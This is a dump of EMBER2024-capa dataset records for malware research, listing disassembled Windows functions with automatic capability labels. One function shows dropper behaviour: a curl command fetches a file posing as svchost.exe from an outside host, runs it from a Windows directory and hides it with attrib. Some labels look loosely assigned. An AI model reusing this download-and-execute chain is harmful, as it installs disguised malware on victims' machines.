joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400909d0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sym.fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sym.read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140090a18
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400909ea
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400a3610
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x1400a3640
mov rcx, qword [rcx]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp rax
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x1400a3688
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400a3658
mov eax, dword [rsp + 0x2c]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 0xffffffff
jne 0x1400a36a8
call rbp
mov r12, rbp
cmp dword [rax], 4
je 0x1400a3658
call r12
lea rdx, str.random_device_could_not_be_read
mov ecx, dword [rax]
call method.std._anonymous_namespace_::__throw_syserr_int__char_const_
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
jmp 0x1400a3697

Function at 0x1400d5aa0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
call sym.__cxa_get_globals
mov rcx, qword [rax]
add dword [rax + 8], 1
test rcx, rcx
je sym.__cxa_rethrow.cold
movabs rdx, 0xb8b1aabcbcd4d500
add rdx, qword [rcx + 0x50]
cmp rdx, 1
jbe 0x1400d5aed
xor edx, edx
mov qword [rax], rdx
lea rbx, [rcx + 0x50]
mov rcx, rbx
call dbg._Unwind_Resume_or_Rethrow
mov rcx, rbx
call sym.__cxa_begin_catch
nop
jmp sym.__cxa_rethrow.cold
neg dword [rcx + 0x28]
jmp 0x1400d5ad3

Function at 0x1400d5ea0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400e2dc0]
mov rcx, qword [rax]
call method.__cxxabiv1.__unexpected_void______
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1400d5ec0
Capabilities:
Write file on windows

Disassembly:
call method.std.terminate__
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1400d5ed0
Capabilities:
Write file on windows

Disassembly:
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400d5f4c
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sym.fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
call sym.abort
mov rcx, rdi
call sym.free
call sym.__cxa_rethrow
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400d5f3a
Function at 0x1400d75e0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x1400d9a00]
movabs rsi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400d9a18], 0
movups xmmword [0x1400d9a08], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400d7695
jmp 0x1400d773f
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x1400d76f0
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rsi
jne 0x1400d7680
cmp qword [rbx + 7], r12
jne 0x1400d7680
cmp byte [rbx + 0xf], 0x2e
jne 0x1400d7680
add rbx, 0x10
lea rdi, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rbp, qword [rdi]
test rbp, rbp
je 0x1400d76da
mov rcx, qword [rdi + 8]
mov r8, rbp
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x1400d76e4
cmp byte [rbx + rbp], 0x3d
je 0x1400d7775
add rdi, 0x18
cmp r13, rdi
jne 0x1400d76bf
jmp 0x1400d7680
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400d9a18], rbx
jne 0x1400d774f
lea rcx, [sym.__tcf_0_4]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.atexit
mov qword [0x1400d9a18], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x1400d9a10], rax
test rax, rax
je 0x1400d77ac
xor edx, edx
mov qword [0x1400d9a08], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400d7727
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rbp + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400d779c
test dl, dl
jne 0x1400d7680
test eax, eax
js 0x1400d7680
mov dword [rdi + 0x10], eax
jmp 0x1400d7680
xor ecx, ecx
mov qword [0x1400d9a18], rcx
jmp 0x1400d7727
Function at 0x140001c80
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x38], eax
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rbx, rcx
mov qword [rsp + 0x28], rax
lea rcx, [0x14005f210]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140001cef
mov edx, dword [rsp + 0x60]
mov rcx, rbx
call fcn.140002690
mov rax, rbx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140051850
add rsp, 0x70
pop rbx
ret
lea rdx, str.failed_to_get_hwid
lea rcx, [rsp + 0x48]
call fcn.1400014a0
lea rdx, [0x14006f160]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x140001d20
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rsp + 0x30]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
lea rcx, [0x14005f230]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov edx, 0xfffffff0
mov rcx, rbx
and eax, 0xfff8ffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [rsp + 0x3e]
sub ax, word [rsp + 0x3a]
inc ax
mov word [rsp + 0x20], ax
movzx eax, word [rsp + 0x40]
sub ax, word [rsp + 0x3c]
inc ax
mov word [rsp + 0x22], ax
test rdi, rdi
je 0x140001e4d
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov edx, 0xffffffec
mov rcx, rbx
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r9d, 2
mov r8b, 0xf6
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x28], 0x64
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140051850
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
lea rdx, [0x14006f140]
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140002230
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000229d
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x38], 4
mov edx, shutdown
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400022ad
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1400022d6
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Please_run_as_administrator..
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140051850
add rsp, 0x50
pop rbx
ret

Function at 0x1400022f0
Capabilities:
Execute command
Hide graphical window
Terminate process

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rcx, str.MODE_CON_COLS70_LINES8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140002230
lea rcx, [rsp + 0x40]
call fcn.140002cf0
nop
call fcn.140001d20
call fcn.140001780
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001c50
lea rdx, str.clz6iozf10042ns01f5a8e8pw
lea rcx, [rsp + 0x20]
call fcn.140002480
nop
lea rcx, [rsp + 0x20]
call fcn.14002d294
nop
lea rcx, [rsp + 0x20]
call fcn.140002420
lea rcx, [rsp + 0x50]
call fcn.1400025a0
nop
call fcn.1400019f0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002d80
nop
lea rcx, [rsp + 0x20]
call fcn.140001c80
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140022028
nop
lea rcx, [rsp + 0x20]
call fcn.140002420
lea rcx, str.curl_https:__cdn.abz.lol_file_c9310se4us_svchost.exe__o_C:Windows_securitydatabase_svchost.exe___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001c50
call fcn.1400018c0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.C:Windows_securitydatabase_svchost.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.attrib_h_C:Windows_securitydatabase_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x140072210], 0
lea rcx, [rsp + 0x40]
call fcn.140001710
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002cf0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.140051870
lea rcx, [0x140001e70]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400033c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140002d6d
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140051850
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14000c2ec
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x14000c338
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c314
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x14000c358
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000c3a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c378
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000c3bc
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000c406
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c3dc
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000c420
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x14000c46c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c448
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14000c48c
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000c4e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c4b7
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x14001964c
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x1400196dd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1400196b6
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x1400197a1
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.14002dbcc
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x1400196af
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14001d1d4
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x14001d361
cmp ecx, 0x7c
je 0x14001d361
cmp ecx, 0x29
jne 0x14001d24e
cmp dword [rdi + 0x1c], 0
jne 0x14001d361
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x14001d37a
cmp ecx, 0x5d
jne 0x14001d22b
test dword [rbx], 0x10000000
je 0x14001d388
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.14001c7c8
mov rcx, rdi
call fcn.140021298
mov rcx, rdi
call fcn.14002130c
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x14001d1e6
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x14001d265
lea rcx, [rdi + 0x40]
call fcn.14001ca50
jmp 0x14001d237
cmp ecx, 0x5c
jne 0x14001d2b3
mov rcx, rdi
call fcn.140021298
test byte [rbx], 0x80
je 0x14001d2a9
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x14001d291
lea rcx, [rdi + 0x40]
call fcn.14001d1c8
mov rcx, rdi
call fcn.140021298
jmp 0x14001d247
cmp al, 0x42
jne 0x14001d2a9
lea rcx, [rdi + 0x40]
call fcn.14001d1c8
lea rcx, [rdi + 0x40]
call fcn.140021234
jmp 0x14001d287
mov rcx, rdi
call fcn.14001d3a4
jmp 0x14001d23f
cmp ecx, 0x5b
jne 0x14001d2de
mov rcx, rdi
call fcn.140021298
mov rcx, rdi
call fcn.14001ddac
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.14001fa88
jmp 0x14001d23f
cmp ecx, 0x28
jne 0x14001d313
mov rcx, rdi
call fcn.140021298
mov rcx, rdi
call fcn.140021ad4
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.14001fa88
test bl, bl
je 0x14001d247
jmp 0x14001d23f
cmp ecx, 0x5e
jne 0x14001d326
lea rcx, [rdi + 0x40]
call fcn.14001c7bc
jmp 0x14001d287
cmp ecx, 0x24
jne 0x14001d339
lea rcx, [rdi + 0x40]
call fcn.14001cb50
jmp 0x14001d287
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x14001d396
cmp ecx, 0x3f
je 0x14001d396
cmp ecx, 0x7b
je 0x14001d396
cmp ecx, 0x7d
jne 0x14001d21a
test dword [rbx], 0x10000000
je 0x14001d36c
jmp 0x14001d22b
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.14001fa7c
int3
mov edx, 5
mov rcx, rdi
call fcn.14001fa7c
int3
mov edx, 4
mov rcx, rdi
call fcn.14001fa7c
int3
mov edx, 0xa
mov rcx, rdi
call fcn.14001fa7c
int3
Function at 0x140023154
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
and dword [rax - 0x38], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
mov dword [rax - 0x38], 1
mov rax, qword [rdx + 0x10]
cmp rax, 0xf
jbe 0x1400231c0
mov r8b, byte [rsp + 0x60]
mov rdx, rax
call fcn.14000905c
and qword [rbx + 0x10], 0
mov rax, qword [rdi + 0x10]
xor esi, esi
lea r14d, [rsi - 6]
cmp qword [rdi + 0x18], 0x10
jb 0x1400231d8
mov rbp, qword [rdi]
mov rcx, rbp
mov rdi, rbp
jmp 0x1400231de
mov rbp, rdi
mov rcx, rdi
lea r12, [rax + rcx]
cmp rdi, r12
je 0x140023303
lea r8, [0x140059450]
shl esi, 8
movzx eax, byte [rbp]
add esi, eax
add r14d, 8
js 0x14002327b
movsxd r13, esi
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov r15d, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rax, r13
mov rcx, rdi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140023258
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002324d
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140023271
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.1400030b0
lea r8, [0x140059450]
sub rdi, 6
sub r15, 1
jne 0x14002321e
inc rbp
cmp rbp, r12
jne 0x1400231f2
cmp r14d, 0xfffffffa
jle 0x140023303
lea ecx, [r14 + 8]
shl esi, 8
movsxd rax, esi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x1400232f1
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400232c0
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140023303
cmp rcx, qword [rbx + 0x18]
jae 0x1400232ee
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400232e6
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x140023303
mov r9b, 0x3d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.1400030b0
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x1400232cb
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140026bd4
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x140026c15
cmp word [rcx], 0x17
jne 0x140026cb9
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x50]
mov esi, 0x401
mov r8d, esi
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x50]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x140026cb9
lea rax, [rsp + 0x50]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140026c6a
cmp rbx, qword [rdi + 0x18]
ja 0x140026ca0
cmp qword [rdi + 0x18], 0x10
mov rsi, rdi
jb 0x140026c86
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], r14b
jmp 0x140026cb5
mov r8b, byte [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.140008b20
mov al, 1
jmp 0x140026cbb
xor al, al
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140051850
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140026cdc
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140026ce8
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
